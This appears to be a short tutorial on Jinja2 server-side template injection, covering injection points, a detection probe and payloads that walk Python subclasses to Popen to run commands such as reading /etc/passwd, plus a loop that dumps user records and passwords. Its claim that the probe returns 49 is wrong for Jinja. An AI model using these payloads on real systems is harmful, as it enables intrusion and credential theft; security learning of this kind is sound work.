What are templates?
A template is a file or string that contains both static text and special placeholders that get replaced with real data when generating the final content.
We can have a template like:
Hello {{ name }}!
With
name = "Alice"
, it becomes:Hello Alice!
Jinja2 is a popular template engine used in Python web applications. It offers great flexibility and powerful features for rendering templates. However, if user input is not properly validated and escaped, Jinja2 can be vulnerable to Server-Side Template Injection (SSTI) attacks.
Looking for injection points
Entry point | Description |
---|---|
User Input Fields | Inputs like textboxes, search bars, or comment sections where users can enter data. |
URL parameters | Values passed in the URL query string or as part of the path that can be manipulated. |
HTTP-Header | Headers such as User-Agent or Referer that may contain user-supplied data. |
Cookies | Data stored in browser cookies that users can tamper with. |
Form Data | Data submitted through web forms that might be used in templates. |
File Uploads | Uploaded files that may be processed by the template engine, posing a security risk. |
Database Queries | Dynamic content retrieved from the database that could include unsafe user input. |
For the Jinja templates check for vulnerablity with
{{7*'7'}}
, if the output show 49 its vulnerable.SSTI Exploration
Server Side Template Injections (SSTI) vulnerabilities can happen when an attacker can modify the template code before it being rendered by the template engine. When running in sandboxed enviroments and keywords are blocked we can still check for:
{{ dict }}
: Class object of the dictionary.{{ request }}
: Object containing request information.{{ config }}
:
In python variables are objects and those objects internal functions, they start with __ and end with __. If you would look at the
int
functions with dir()
like dir(int(0))
you will see:__add__
— used when you do1 + 2
__str__
— used when you dostr(5)
(for printing)__repr__
— used for representing the object in code (repr(5)
)
Using classes like Popen to execute code
In case of using editor print like
print(render_template_string("{{ [].__class__.__base__.__subclasses__()[317]('env', shell=True, stdout=-1).communicate()[0].strip() }}"))
# Check base class
{{ [].__class__.__base__ }}
# List sublasses
{{ [].__class__.__base__.__subclasses__() }}
# Return class of index
{{ [].__class__.__base__.__subclasses__()[422] }}
# If you found index of subclass.Popen, call it and get RCE.
{{ [].__class__.__base__.__subclasses__()[422](‘cat /etc/passwd’,shell=True,stdout=-1).communicate()[0].strip() }}
Acces database
Not SSTI specific but with python get users and passwords
for user in User.query.all():
print(user.__dict__)